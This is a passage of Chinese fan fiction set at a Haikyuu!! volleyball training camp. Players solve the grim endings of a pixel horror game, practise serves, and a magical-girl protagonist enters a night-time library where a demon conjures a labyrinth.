“「缸中之脑」？”月岛发现这些描述和某哲学家的假想实验有些类似。
如果将一个人的大脑放在营养液中，同时连上计算机让脑主人认为自己仍然生活在原本的世界中，那么，你该怎么证明你现在所处的世界是真实的？
研磨拿着游戏机的手微微一颤，显然他也知道这个知识点。
“那么，现在需要验证这颗大脑的身份。”在这个游戏的背景下，阎魔乐姑且将这颗大脑看作是一个完整的生命。
“我们刚好有现成的道具。”研磨想到了什么，立刻操作起来。
他再一次干掉所有生命体，进入密室，同时奋力操纵着主角拿上装着不知名大脑的容器和钥匙，却没有第一时间从大门逃跑，反而是前往位于古堡主人的实验室。
阎魔乐和月岛立刻明白了他的想法——这不是刚好有现成的尸体可以进行脑部移植手术吗？
研磨少见地兴奋起来，露出了捕食者的笑容，仿佛一切尽在他的掌控之中。
他操纵着主角将邪恶伯爵的尸体放在手术台上，根据研究笔记完成了手术。
曾经诡异丑陋的反派现在迷茫地看着面前的一切，仿佛刚从一个长久的梦中醒来。
“你是谁？”主角迫不及待地问。
他怔怔地看着主角，缓缓地说：“我是瑞曼。”
这个名字并没有在失去记忆的主角的心中掀起波澜，可接下去的一句话却激起了千层巨浪。
“你……为什么长得和我一模一样？”
达成结局——【背德的人造神】
刹那间，仿佛被闪电击中，阎魔乐的脑中惊起无数个感叹号。
这个反转也太绝了吧？
很显然，瑞曼就是邪恶伯爵的实验对象之一。他被移植了一颗没有记忆的大脑，进行了试验笔记中第二条的实验。
只是没想到在这样恐惧的环境中，人类的求生意志竟然让他成功反杀。
可惜，当真正的瑞曼用邪恶伯爵的身体睁开眼之时，主角便正式失去了他的一切，他所渴望的记忆都在另外一个躯壳中复活、存在。
现在的他只是一个无名无姓、没有记忆、存活时间不足几十个小时的新生儿罢了。
他已经没可能再变成瑞曼。
邪恶伯爵的研究被证明是正确的，他虽然无法亲眼看到这个结论，却物理意义上亲身参与了这个实验，可他的大脑已经被毁，绝对没有复生的希望。
而瑞曼好不容易重新苏醒，却要使用仇人的面容和身躯继续活下去，不得不说是天大的讽刺。
这场悲剧中，没有人是赢家。
区区一个像素游戏，竟然那么深刻吗？
三人陷入了沉默。<
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p>“到此为止……了吗？”问这话的是月岛。
玩到现在，即使是他也不甘心只能达成这样的结局。
“如果不杀邪恶伯爵，有没有可能让他把大脑移植到主角的身体中？”阎魔乐很快又改口，“但这样是不是意味着杀掉了这个活了几十个小时的生命？”
“如果游戏中可以这么做，那么也算是主角的选择吧？而且，只要有大脑在，还会有复活的可能。”月岛回答道。
研磨点点头，读取了在杀死邪恶伯爵前的存档，他快速通过几个任务一直到最后一关，他摆脱生命体后喂他吃下了慢性毒药，威胁他为自己做大脑移植手术。
“可是即使你重新复活，应该已经记不得给我解药了吧？毕竟你们不是同一个人。”
“难道你不想知道你的研究到底是否是真实的吗？”主角咬着牙说道。
邪恶伯爵沉默了，很显然，他心动了。
最终，“主角”瑞曼包着满头的绷带醒来，他第一眼就认出了仇人。
此时，邪恶伯爵已经行将就木。
瑞曼怒从心头起，冲过去想要送他最后一程，却看到他捧起一颗大脑挡在身前，像是人质一般。
瑞曼嫌恶地看着那一颗大脑，一下子扫开他的手，大脑“噗”地落到地上，整个摔烂。
“你甚至不知道是谁救了你！哈哈哈哈！”
邪恶伯爵见状哈哈大笑起来，很快就上气不接下气。
“你在说什么？”
“喂！你在说什么？”
可瑞曼永远也不知道了，邪恶伯爵在狂笑中咽了气。
他是主角的仇敌，他的父亲，在这个世界上唯一记得他的人。
至此，他的存在至此已经完全消失。
瑞曼迷惑地拿着钥匙逃离了这个魔窟，回到了原本的生活中去。
而真正的英雄化为地上的一滩脑浆，他甚至到最后都没有属于自己的名字。
达成结局——【抱憾的终焉日】
“这个游戏就没有完美结局吗？”研磨低声地说。
虽说他也玩过悬疑解密的游戏，但是像这样每个结局都令人不爽的游戏还是非常少见的。
黑尾见三人对于游戏的探究似乎告一段落：“看来你们已经解决了所有问题呢。”
阎魔乐将视线从游戏机上移开，因为太过，她才发现天色不知什么时候已经完全暗了下来。
“啊，谢谢你们。”研磨朝着比他还低一年级的两人道谢。
月岛点头致意，低声说了声“客气了”。
“哪里，这是个很有趣的游戏。”
也许是像素风这种可爱的风格冲淡了血腥的冲击，同时生命体反复出现，让阎魔乐对血腥、内脏这些直接脱敏了。
阎魔乐伸着懒腰起身，不小心碰倒了身边的空饮料瓶，塑料瓶在地上弹动。她忙不迭伸手去抓，却有一只手比她更快捡起瓶子。
黑尾麻溜地捡起他们身边的几个空瓶子，收拢在手上的塑料袋中。
阎魔乐记得自己只是想趁着图书馆关门前快速地检查下，所以并没有带水过来。而刚才他们凑在一起打游戏的时候，也没有人离开去买过水。
这么说来，是黑尾一个人默不作声地照顾着“玩物丧志”的他们。
真靠谱呢。
阎魔乐不禁出言道谢：“多谢，黑尾前辈。”
黑尾不以为然地笑了笑：“别在意。”
“月月，一起去吃饭吧。”山口忠找过来，他的额头上还有一层薄汗，应该是刚刚加练完。
他注意到了音驹二人又看到自己的师妹顿时紧张起来：“你们好，啊，阎魔也在呢。”
“山口君。”阎魔乐还以礼数，同时在今天首次感受到极大的饥饿感。
黑尾不动声色地看了看游戏前还在互呛的两个一年级，笑眯眯地提议道：
“干脆大家一起吃饭吧～”
38.long long ago
东京合宿的日子已经接近一半，少男少女们从上到下都已经熟悉了训练和生活的节奏，既充实又疲惫。
尽管这对于阎魔乐来说，未免也太“充实”一些。
临近闭餐，餐厅中还是有不少刚训练完的队员，东峰旭和西谷夕也在其列。
“奥，阿忠，一会还要练习发球吗？”西谷看到乌野的一年级，立刻朝他们挥手。
“啊，西谷学长，那个……”山口忠稍显慌张，下意识看向少女。
他练习发球是一回事，但是在那么多前辈面前说出这个消息是另外一回事，特别是……
她还在这里。
并非是刻意地比较，但是山口总是很自然地把自己排在了少女之后，所以他总会无意识地感觉到不好意思。
等等……
山口突然想起少女无论失误多少次都不会动摇的状态，他突然意识到这样的想法无论是对自己还是对少女来说，都是很失礼的状态。
因为他们都在努力着。
念头的落点倒是没有注意那么多，阎魔乐正好看到了自己想找的人。
“除了发球，我还要做一些其他的练习。”山口解释道。
“嗷嗷，这样啊，很有干劲呢，阿忠。”西谷夸奖着后辈，又往嘴里塞得满满当当，被拒绝似乎根本不能动摇他的心情。
“西谷，我正好想要练习发球。”东峰低声说。
“唔！”西谷的眼睛亮了起来，他伸着脖子咽下一大口食物，“太好了！那一起练习吧，旭学长。”
新山的首发们刚吃完饭正在闲聊，正好看到不同学校的男排队员组成的队尾跟着一个熟悉的身影。
“阎魔……”雪村谨慎地辨别着少女的表情。
因为没有被包围，所以她看上去没有任何为难的样子。
“说起来，阎魔一向很有想法。”飞鸟认为那群人的状态也不像是少女漫的氛围，“该不会是在进行什么秘密训练吧？”
毕竟，她总是会抓住一切训练机会的样子。
“她过来了……”云中芥子悠悠地说，然后看到少女停在了自己的面前。
“云中学姐，可以拜托你一件事吗？”阎魔乐直接开口。
此话一出，云中基本已经猜到这件事是什么了，不过她的脑袋中想到的却是——
啊，自己果然也是前辈了呢。
三天里，她对这一点不断加深着体验。
二年级的首发并不会像三年级那样从很多方面会让人感到压力，再加上她飘忽的性格，所以平日里相处的氛围总是相对轻松。
但合宿中的朝夕相处加上高强度的训练赛，难免会让人意识到——这个小小的、看上去毫无杀伤力的少女毫无疑问就是全国顶尖的自由人。
“练习的话……不要超过一个小时。”云中慢慢地回答。
新山的自由人除了云中之外，只有二年级的千石英，所以一天下来，她的体力消耗并不比其他位置的队员少。
“多谢学姐。”阎魔乐刚才就注意到新山这边显得十分安静，“望月学姐和花咲学姐不在吗？”
她们一般都会和首发们一起吃饭才对。
“须弥觉得身体还是不太舒服，所以早早吃了饭回去了，花咲陪着她一起。”飞鸟答道。
阎魔乐点点头表示知晓，心里却觉得十分不对劲。
无论是从打球风格也好，还是从乐观开朗的性格来看，她永远都是冲在第一个，轻伤不下火线的样子。
得是多么不舒服，才会让这样的她早早歇下呢？
可阎魔乐并没有察觉到邪祟的气息，暂且留个心眼吧。
“八点左右在二馆见吧。”
考虑到阎魔吃饭和消食的时间，云中还是决定先和其他人一起回去收拾内务。
晚餐是阎魔乐非常喜欢的牛丼饭加温泉蛋，所以她要了满满一大碗。
打餐的老师显然知道这群打排球的少年们在饭量上绝对是不分性别，不分样貌，不分体型的。
毕竟刚才那个190的黄头发男生还没有那个额前有一簇挑染黄毛的活泼男生吃得多。
阎魔乐是一个人也能吃饭的类型，不过一声不吭地离开多少有些失礼。所以她还是捧着饭碗坐在长条餐桌的最边上，认认真真地解决着小山似的米饭和牛肉。
“不仅早上要加练，晚上也是如此吗？”饭桌上的气氛稍显安静，黑尾就着少女刚才的举动开启了一个话题。
阎魔乐点点头：“乌龟只有在兔子休息的时候继续向前爬才有可能获得一点点成就不是吗？”
“要是兔子不停下来，乌龟随便怎么爬不是都赢不了吗？”月岛笑了下，继续着他的人设。
“那是兔子要考虑的事情。”阎魔乐没想继续这场“辩论”，她想到一会要和云中学姐训练就雀跃不已，“乌龟的话，只要考虑脚下的这一步就好了。”
也许是这话说得实在是有道理，也许是月岛似乎只是单纯对这个童话寓言的故事感到不快，总之他也不再说什么。
真能说啊。
黑尾想着，继而发现身边的少年明显心不在焉，眼神不时落到了手边的游戏机上。
黑尾一下就看穿了他的心思：“研磨，要多吃蔬菜哦。”
布丁头打了个激灵，面露难色地夹起一颗西兰花。
晚餐总算是安然结束，众人散往不同的场馆。
二馆中，趁着消食的空隙，阎魔乐查找起《古堡之夜》的信息。目前网络上的攻略不多，仅有的几个结局他们也都成功攻略了。
会不会根本不存在完美结局？
也许游戏作者就是想证明“完美并不存在，缺憾才是常态”这样的观点呢？
不一会，云中的身影出现在了二馆的门口。
其实发球她自己一个人也能练习，实在不行也可以找竹取学姐，但是她想知道自由人视角呈现出来的信息。
云中芥子站到网的另一边，阎魔乐朝她欠身，这场练习就此开始。
两人都是那种没有一定要说话的氛围就不会开口的类型，主打一个效率。
十球后，阎魔乐停下，两人开始复盘。
“球速……”云中斟酌着用词，前辈对于她来说还是一个较为陌生的身份，她担心如果太直接会不会影响对方的积极性。
可……她转念一想。阎魔的话……完全不是那种会因为挫折消沉的人呢。
“太慢了对吧？”阎魔乐接上了这句评论，跳跃就是为了增加无旋转的飘球的威力，结果她的起跳只是起到了一个视觉上的作用。
果然。
云中想着补充道：“但精准度很不错。”
经验丰富的自由人当然能发现在少女在练习中一直尽可能将球发向相同的位置。
一旦力量跟上，精准绝对是有利的攻击手段。
这时，隔壁的球场中传来一记可怕的击球声，紧接而来的是富有元气的中二招式名称。
“Rolling Thunder！”
西谷灵巧地翻滚，单手精准地锤起了球，不仅如此，他还保证了一传的高度。
“干得好，西谷。”东峰见到自己的发球被接起完全没有消沉，反而第一时间为朋友呐喊。
千鸟山中学的西谷夕，很有活力的一个人呢。
因为都是顶尖自由人，云中难免会对西谷有所耳闻。
“旭学长的发球已经很有威力了！”西谷起身高兴地大喊，无意间对上两位少女的视线。
两人几乎在同时意识到他那样富有活力的状态意味着什么。
“嗷，是云中同学吧！”西谷挥起手，“刚刚那样的球，你会怎么接呢？”
西谷向来就会虚心和强者学习，再说——
在自由人这个排球运动的位置前，不需要加上男女。
“啊……我的话……”
云中吐出一口气，决定当场演示一遍，以此来省掉更多的解释的口舌。
她站到了相同的位置上，摆出接球的动作，看向东峰。
少女旭顿时一慌，他自然是知道这个女生是西谷都十分认可的全国顶尖的自由人，但毕竟是男女有别……
“没关系……”云中低声说，她平时都是和那两位一起练习的。
云中并非是队里最努力的一个，所以，在训练的时候她是一定会尽全力的。
“东峰前辈，放手去做吧，还是说你没把云中学姐放在眼里呢？”阎魔故意添上一把火，她宝贵的“和学姐练习”的时间只有短短的一小时而已。
这下东峰更加慌张了，他赶紧站上发球线，深深吐出一口气。
在球发来的那一瞬间，云中肌无力的上眼皮微微一动，她轻轻地跳了一小步，用和平时完全不一样的状态，迅
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速跃到最佳击球点。
即使和西谷那样极度灵巧的速度相比稍慢一些，却仍然看上去比他要更快启动。
垫步。
阎魔乐不自觉地握紧了拳头，这是她安排在未来要掌握的的技术型武器。
云中轻描淡写地卸去了大力跳发的力量，传出了一个漂亮的一传。她的膝盖微微触地，然后迅速起身。
东峰愣了下，随后释然地微笑。他要练习的果然还有更多更多。
好像比花咲学姐的球还要重一点，甚至和望月学姐的球差不多。
云中望着手掌微微发红的皮肤。
男排和女排的发球时速记录之间差了26公里/小时。
虽然这么想不太礼貌，但这位并非是顶尖攻手，却也能发出棘手的跳发……
果然，生理上的差异可真是无可奈何呢。
“好厉害！”
西谷越发兴奋，他正要说什么，却被新来的一个身影打断。
眯眯眼学姐不似平日里那样的游刃有余，她扯出一个微笑：“芥子，陪我练几个球吧。”
是因为望月的身体原因吧？这么严重吗？
阎魔乐一眼看出她的状态不对，于是暗自叹气，任由任性的学姐开始了她的跳发练习。
“花咲学姐，你似乎不在状态。”
仅仅几球，云中就开口道，这样的练习没有其他好处，还容易受伤。
“花咲学姐，干脆教我大力跳发怎么样？”阎魔乐适时出声，她故意岔开话题。
“之前须弥想要教你，你不还是拒绝了？”花咲闻言，果然开腔回怼。
很记仇呢，这个人。阎魔乐汗颜。
思虑再三，花咲作为球队的司令塔，她还是决定停止伤害自己的行为。
尽管没有精神的望月依然让她心神不宁。
花咲不愧是头脑、技巧双4的二传手，简单明了地说明了跳发的动作要领。
阎魔乐在尝试了几次后也顺利地发了球，当然，还是一样的问题——威力根本不够看。
“并不是说你一定无法拥有足够的力量，只是这样的跳发无法起到它本应有的作用。”体会到学妹贴心用意的花咲暂且放下了“恩怨”。
可现实之所以为现实，就是其残酷的性质。
除开魔法少女的身份……
虽然根本除不开，不过认真说，阎魔乐在身体素质方面根本没有任何天赋，非要说的话，就是学东西快一点罢了。
天赋这个东西，在努力的尽头，就是决定性的关键。
“嗯，我知道的。”阎魔乐很平静，她低头看着手中捧着的球。
“哎？那你？”花咲蹙眉，总不可能只是为了让她不去想须弥的事情吧？这小鬼做事绝对不会只达成一个目的。
“这是为了让我的跳飘球更强。”阎魔乐浅笑着。
花咲和云中很快就明白了这其中的门道。
将跳飘球夹杂在大力跳发之中是很常见的战术。
但因为她目前的力量还不够，所以完全可以使用同样的助跑步数，毕竟多跑几步对她力量的提升也不显著。还不如以此用来迷惑对手，赛场上转瞬即逝的犹豫也会是致命的。
这小鬼……分明是在努力利用一切可以利用的技能不断武装自己，连弱点也不放过。
她果然……讨厌这个小鬼。
花咲咬牙，嘴角却扬起了一抹弧度。
啊，又被讨厌了。阎魔乐叹气。
算啦，反正花咲学姐看上去也没去想望月学姐的事情了。
在夹杂着“无力跳发”和跳飘球的练习中，一小时不紧不慢地过去了。
阎魔乐洗漱完毕，走在勉强算凉爽的夏季夜风中，小小地呼出一口气。
今天总算……
这个容易立下flag的开场白，让她产生了不妙的感觉，她抬头往往四周望去。
宁静的校园中还有几个散步的同学身影，运动馆中不时传来排球落地的声音。
还好……
念头还没有结束，她看到一个光点。
像是城堡顶楼被烛火照亮的阁楼中透出的微光，或是好奇心作祟下凑近锁孔时感受到的光亮，又像是邀请函上金色笔迹的折射。
可这里只是个普通的高中校园，不是什么奇幻城堡，那只是——
图书馆中亮起的一盏灯。
39.there was a……
呵、呵呵……又来？
阎魔乐停下脚步，生无可恋地望着远处那不起眼的微弱灯光。
尽管在这个距离上，她还不能清晰地感知到邪祟的气息，但看上去怎么都大差不差了。在她去过图书馆后，原本在深夜才会出现的异常提前，就好像故意让她发现一样。
算是挑衅吗？
可下午明明没有在图书馆中察觉到邪祟的气息才对，而且既然要让她发现，为什么在那时候毫无行动呢？
麻了，真麻了。
合宿到现在一共三天，真就连着出现三只呗？
疲惫如同蛛网般缠裹在温热的洗澡水抚慰过的身体之上，阎魔乐提着洗澡篮，单手按住右肩松了松关节。
一个两个……这些邪祟怎么有种围着她转的感觉？
别人是死神小学生，她是邪祟诱捕器呗？
一个是走哪哪死人的抗R奇侠，一个走哪哪见鬼的先天魔法少女圣体？
考虑到现在人多眼杂，阎魔乐决定还是等晚一点大家都睡着了再去调查，免得再遇上几个拖油瓶。
“阿乐！～”
“啊，是小乐～”
这两个声音在夜里似乎也能发光，阎魔乐不用回头就知道是属于谁。她的嘴角扬起半分弧度，慢悠悠地转身。
大小太阳脸上的快乐几乎都要溢出来，师徒二人的眼中满是亮晶晶的光芒，甚至直接覆盖掉了刚刚在她脑海中留下记忆的图书馆诡异亮光。
嗯，起码这个世界本身的美好也在努力守护着这些熠熠生辉的角色们。
她感到一丝安慰。
不止是他们，三馆组的其他人也在。
黑尾照常咧开嘴笑着望着她，赤苇微微向她点头致意，月岛则扯了扯衣领似乎在对洗澡前的耽搁表达不耐，灰羽跟在最后累得几乎说不出话来。
不过，他们手中都拿着沐浴露、毛巾这样的洗漱用品，活脱脱一副男高结伴入浴图。
再加上汗湿的T恤，额上晶莹的汗珠，些微的喘息，周身蒸腾着热气……嗯，运动男高的具象化就是这样了吧？
“阿乐，身体好点了吗？”日向想到少女清晨时候的苍白模样不由稍稍凑近一些地问道。
“已经好多了，一会回去早点休息应该就没事了。”阎魔乐温和地回答，心里却否认着——休息不了一点。
“哎？小乐不舒服？”木兔歪过头，稍稍提高音量，“那得多吃点肉，增强体质，我就是这么做的。”
蔬菜也很重要的。黑尾和赤苇不约而同地想。
“多谢前辈。”阎魔乐应道，同时注意到了和她一起吃晚饭的几人投过来不太认可的目光。
是啦是啦，她可是吃得一点都不少。
“不过，合宿真好啊，能够随时随地一直比赛。”日向有些感慨，明明刚刚结束3v3的疲惫还留在身体里，一想到明天的练习赛，他又觉得跃跃欲试。
如果可以，他希望自己能一直在赛场上。特别是……输给了青城之后。
“那可不～枭谷排球联盟很棒吧！～”木兔双手插着腰，得意地昂起头。
“说起来这不是教练和指导老师的功劳吗？”赤苇小声地吐槽了一句。
“多谢师父！”日向兴奋地握拳捧场，“嗯，还有猫又教练。”
“单细胞……”月岛压低声音嘟囔着，像是怕少女听到一般。
阎魔乐听没听到不知道，但是日向显然是没有听到。
他依旧兴致勃勃：“说起来，我最近连做梦都会梦到打排球哦～”
“哎？真的吗？真的吗？我也是呢～”木兔兴致高昂地搭腔。
眼看阳光师徒俩就要手舞足蹈地用手势形容梦境，赤苇低声提醒道：“木兔学长，请不要太激动。”
他小心地注意与少女之间的距离，他们现在可还是大汗淋漓的状态。
月岛看了看图书馆的方向说道：“我的护膝落下了，我先回去拿一下。”
说着，他点头致意，转身往三馆走去，刚好与结束训练的十六夜和影山擦肩而过。
“阿乐～”十六夜兴冲冲地跑过来，身后是平静的池面影山。
只一眼，阎魔乐就看穿了她快乐的原因，浅笑道：“看来今晚的练习很顺利？”
“嗯！今天的成功率很高！”十六夜点点头，“明天我要在训练赛上尝试一下，阿乐等着看吧～”
“没问题，我会加油的，阿夜真了不起呢。”阎魔乐得意地看了影山一眼，仿佛是在炫耀“我的朋友很厉害吧？”这件事。
继而她又想起那俩人认识的时间更长才对，所以又敛去了那样的表情。更何况，让十六夜学习让球停下来这个技能，也是受到影山的启发。
迟钝的少年对此显然摸不着头脑，他留下一句“我先回去了”就转身离开。
“那我们也快回去吧～”说着，十六夜想要搂着阎魔乐的胳膊，又想起自己还没有洗澡，于是吐着舌头作罢。
这时，去而复返的月岛萤意味不明地对着阎魔乐说了一句：“你看到了吧？”
“什么？”阎魔乐自然是立刻就知道了他指的是什么。
这家伙该不会发现了什么吧？
“你不会又想偷偷去探险吧？”月岛似乎还是认为昨晚在她与他们告别后再度回到了五楼。
又？果然这家伙……
不过他那么理智的一个人的话，越思考越不会触及真相吧？
十六夜不明所以，不过她并没有随意加入这场对话。
“我才没有那么无聊，有这个时间，我更想知道《古堡之夜》的完美结局呢。”阎魔乐装出一副没有兴趣的样子，把话题引到刚结束的“悬疑游戏解密活动”之上。
正巧洗完澡的研磨路过，三人游戏同好会再度合体。
“啊……那个啊……”研磨停在两人身边，迟疑着开口，“也许……我知道达成完美结局的方法了。”
他不是喜欢和不熟的人主动说话的类型，但是游戏的话题他又无法坐视不理，更何况这两个人是帮他达成一连串结局的伙伴。
“哎？真的吗？要怎么做呢？”阎魔乐没想到他那么快就发现解密的端倪，不由得有些兴奋。
真不愧是未来的职业游戏玩家。
在这之前，她对游戏并没有那么热衷，不过每个人或多或少都会有一些好奇心想弄清楚一件怪异事件的真相吧？
“嗯……现在正在尝试中，因为要重新从头开始，所以有些耗时间。”研磨垂眸道，又补充了一句，“就是还不能确定这样一定可行。”
“如果达成了那样的结局，请务必一定要告诉我呢。”
阎魔乐不禁在思考，对于瑞曼来说、对于无名的主角来说，完美的结局意味着什么呢？是两人全部都活着吗？
研磨轻点了下头，他知道能通过论坛的消息跟少女练习。
“孤爪君，再见。”阎魔乐的目光扫过月岛空无一物的膝盖和并没有多出护膝的洗澡篮子，“那么，空气护膝使用者，再见啦。”
虽说她看穿了月岛的举动，可他的目的她却不是很理解。难道他故意落在后面，就是为了和她说那样的话？
明知道她也是个很谨慎敏锐的人才对吧？她不可能会轻易吃瘪的。
不过阎魔乐没有多想，见月岛脸色一滞，她得逞似地笑了一下就和十六夜一起离开了，留下一高一矮小食量二人组。
研磨顿感自己卷入了麻烦的事件中，他小心地看了月岛一眼，没想到正好对上了对方的视线。
布丁头猫猫小小炸毛了一下，然后慢慢地掏出手机：“那个……你也会想要知道吗……”
对他来说，虽然月岛看上去并没有比翔阳有趣，但知道「缸中之脑」的人……姑且也算有点意思。
“好，谢谢。”
其实月岛知道，也许再过不久网络上就会出现完美通关攻略，但他还是报了自己的邮箱。
毕竟眼前这个看上去没什么气势的少年却是整个音驹的核心，而且还比他高一年级，月岛对于前辈和女生一般都比较礼貌。
只有某人是个例外，是那种他还没有意识到的例外。
“刚才那位是音驹的二传手吧？”出于二传手的敏感，十六夜没有忘记过这位厉害的前辈。
“嗯，名为孤爪研磨。”
“我记得他的视线诱导和球场上的战略眼光很了不起呢。”十六夜回忆着乌野和音驹的练习赛，明明是触球最多的位置，却动得很少。
不，这么说不准确，他的大脑一定在飞速运转吧。
“正是如此，是一位很值得学习的二传手。”阎魔乐回忆着自己的备忘录上有关研磨部分的笔记。他的技能并非是一朝一夕能学会的。
两人刚回到教室门口，就听到从内传出少女们的声音。
“忧子，你今天已经吃了很多糖了……”鬼
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冢小声劝说着毫无节制的大小姐。
“嘿嘿～我吃完会再去刷牙的！”星那听上去满不在意。
星那在看到阎魔乐进来的一瞬间直接哑了火。她偏过头，下意识隐藏起因为棒棒糖而鼓鼓囊囊的脸颊。
阎魔乐心下了然，打了声招呼就整理起自己的床铺。
「宿主啊，有邪祟出现，现在不是悠闲睡觉的时候呢！」
“你不说还好，我这是捅了邪祟的窝了吗？为什么它们会集中出现？”说到这个就来气，她忍不住低声斥责。
她确实是想干掉所有的邪祟，但这个频率和魔力现状真的会出事的！
没有了净化邪祟的战力不是会更加麻烦吗？
「哎呀，宿主你也知道的，学校这个地方本来就是容易生成邪祟的地方呢～啊～青春的爱恨纠缠，宿主不是也有体验了吗？」
“……”
面对明显的意有所指，阎魔乐顿时失去了跟这个毫无用处的系统对话的欲望，甚至懒得追问「为什么会是枭谷」这个问题。
“阿乐同学，要睡了吗？”鬼冢确认了下时间，在她的印象中，阎魔乐并没有那么早就洗漱完毕准备睡觉。
“嗯，今天特别困呢。”阎魔乐笑得有些虚弱，在这点上她根本不需要假装。
连续缺觉、训练的疲惫、精神损伤……这些只能用足够的休息来恢复。
“吊、车尾就是吊车尾，这就觉得累了。”星那说着平日里会说的话，却不像是在嘲讽，反而像是在引起对方的注意。
“西瓜味的糖，好吃吗？”对付傲娇，阎魔乐一向直接大方。
“唔……”星那的脸色瞬间泛红，罕见地没有反驳，“嘛，还不错。”
“那就好呢，我也很喜欢呢。”
“谁，谁管你啊～”星那红着脸大喊一声。
阎魔乐和鬼冢对视一眼，然后躺在了地铺上，往腹部盖了薄被的一角。
等到十六夜洗完澡回来的时候，她已经陷入了深深的“昏迷”。
午夜十二点，阎魔乐准时在手机震动的第一秒迅速关闭了闹钟，她睁开酸胀的、布满血丝的眼睛，对着天花板眨了眨眼。
距离入睡过了一个半小时，刚好一个睡眠循环。
身旁传来稳定的呼吸声，累了一天的少女们睡得很沉。
阎魔乐轻声离开了柔软的被窝，注意到十六夜的眼皮快速翻动着，看起来正在做梦。她的表情还算平静，应该不是什么噩梦吧。
她悄声下楼，路过安静的各个楼层，夜游教学楼这件事她已经连续干了两天，但是走在校园中却还是第一次。
和热闹的白日与暧昧的暮间不同，校园的形态在深夜再次发生了改变。
保安大叔巡逻完后在值班室小憩，少年们在教学楼安睡，似乎在校园这个五脏俱全的堡垒中清醒的只有她一个。
奥，还有那个不知名的邪祟。如果它真的存在的话。
月光似水般洒落，空荡孤独充斥着整个空间，所有热络畅快的欢声笑语都留在了过往，空余寂静蔓延。
不对，还有偶尔的蝉鸣。
那些可悲的生命所发出来的噪杂声响作为夏季的伴生物，会让耳朵太过于习以为常而地忽略掉这个声音。比如，机械钟的滴答声也是如此。
无论是什么，只要习惯了其长久的存在，那么如果不是特意去注意是很难发觉有什么不对。
阎魔乐谨慎地步上台阶，靠近图书馆紧闭的大门。
她不确定这里是否有监控，不过只要不发生什么恶性事件，应该也不会有查找监控的需要吧？
在不清楚对手的强弱之前，她不准备把魔力用在这样的地方。
阎魔乐抬起手，修长的手指在大门的锁孔前轻轻一划，魔力轻轻搬动锁芯。随着“咔哒”一声，锁舌弹开。
她侧身躲到一边慢慢拉动门把手，打开了一条缝隙，没有使用魔力探查，也没有冒然进入，她不想再重蹈前天的覆辙。
既然图书馆是这个邪祟的根据地，说不定也存在着什么拥有强制规则的小型位面才会让它躲过了下午的探查。
微弱的光芒从门缝间透出，显得晦暗不明，枭谷的图书馆很大，看来灯光亮起的位置在图书馆的深处。
一直到这个时候，阎魔乐还是没有感觉到明显的邪祟气息，不得已她只能放出一丝魔力投入那片未知之中。
等等，有什么不对……
40.阎魔乐图书馆奇遇记1
阎魔乐调出人物面板。
也许她并没有见过真正的完美，但是现在出现在她面前能力参数图何尝不是一种阶段性的完美呢？
是的，她又变成了六边形战士，但+1版。
全面2分让她忍不住喜笑颜开，嘴角扬起了好看的弧度。
老大难的最后一项「速度」不知道在什么时候突破了，细细想来很有可能是在今天早上间歇冲刺跑的时候无意中突破的。
这再次证明了到达极限之时正是进步的最好时机。
来不及对此感到欣喜，她望向透着微光的门缝，僵持在这里毫无意义，箭在弦上，她只能再次以身入局。
所幸，目前的总魔力满打满算下来，已经有原本实力差不多五分之一的力量了。这个时候发现自己的成长着实给她增加了不少底气。
阎魔乐谨慎地走了进去，步入那一片泛着月光的黑暗之中，并没有任何事物随着她的动作而发生改变改变，一切还是如此静谧。
真就自己吓自己？
为了防止被保安大叔发现，阎魔乐轻轻将门合上，图书馆被隔绝成了一个封闭的空间，“吧嗒”的关门声响起，宛如一声令下的号角声。
刹那间，异变突生。
暴起的狂风在顷刻掀去了图书馆的屋顶，阎魔乐的头顶上露出了一片陌生的灰色天空，这并非属于排球世界的景色。
卷起的木质书架从空中落下摔得粉碎，漫天的书页点缀着狂风形成一场有迹可循的风暴。
和昨晚的一样，这也是幻术吗？不，总觉得不太一样。
阎魔乐站在原处，冷静地面对这场变故。
不知从哪里燃起的火焰点燃了书页纸张，焦热的灾害瞬间席卷了整片天幕，天火蔓延，落下一片由阴燃灰烬组成的火雨。
阎魔乐张开一片防护罩，保护自己不被灼伤。
随后，天空聚集起厚厚的云层，落下的雨点平息了这个起火的世界。
雨势渐大一发不可收拾，暴雨如注，地面泥泞，混杂着灰烬的地面粘稠，随着一声惊雷落下，大地碎得四分五裂。
阎魔乐下坠。
即使她认为眼前的一切都是虚假的，但当根源性的恐惧袭来，她还是不免轻呼了一声。
当然，她很快催动魔力稳住了身形。她向下望去，新的大地重新出现。
她稳稳地落地，打量着面前的奇观。
在废墟之上，一座黑白灰相间的巨大迷宫拔地而起，仿若世界的新生，刚才的灾难像化作了它的养分和试炼，一切只为它的诞生。
迷宫的墙体目测约三米高，由黑白的书页组成，偶尔有彩色的绘本和插画页混杂于其中也被夺走了色彩。
压抑的颜色让迷宫看上去仿佛一块杂色的墓碑，祭奠着不知名的逝者。
迷宫的入口没有什么花里胡哨的装饰，直白地对着一面墙，从入口处就要选择是朝左走还是朝右走，宛如缔造者最真挚的邀约。
此刻，阎魔乐终于能感知到这里弥漫着邪祟的气息，但令她十分疑惑的是，那并非是强大到能引发如此异象的存在。
「欢迎，年轻的冒险者。」
一个不男不女、不老不少、不冷不热的声音在寂静中炸响，阎魔乐的后背顿时惊起一阵冷汗。
这个声音是从她的脑中直接响起的！
一般只有高等级的邪祟才能够无障碍与人交流，毕竟连镜中人和人体模型都没能开口。像和翔阳一起遇到的身后灵那样，发出宛如野兽嘶吼的短语已经是极限了。
如果真的是高级邪祟，现在的她只有被困死的份吧？
系统呢！
出来说句话啊！
冷静点，不要用自己的恐惧增加对方的力量，好好想想有什么不对。
她努力稳住自己的心神。
侵蚀才开始没多久，这个位面的邪祟理应不会进化得那么快才对，否则也不会派她这个新手来了。
没错，就是这样。她安慰着自己，呼出一口气。
阎魔乐拖延着时间明知故问道：“你是什么人？”
邪祟的目的是要让人产生恐惧或是大量的负面情绪，并从中获得力量。之前镜子中的异空间和扭曲现实的幻术就是如此。
今天这个异世的迷宫就好像是两者集合体。
如果它并没有那么强大的力量，那么应该跟它的能力有关。如此强大的异能，使用者却实力平平……所以说，要发动这个不知名的力量一定是有着禁制。
「显而易见，我们是敌人。」
邪祟回答没有嘲讽，没有挑衅，思路清晰，情绪稳定，。
“干脆面对面直接魔法对轰如何呢？”话虽这么说，阎魔乐自己都感到好笑。
这只邪祟整出这么大的排场就是因为它无法直接攻击自己，起码并没有强大到可以在她的面前现身的程度，所以，找到它孱弱的本体就是她破局的关键。
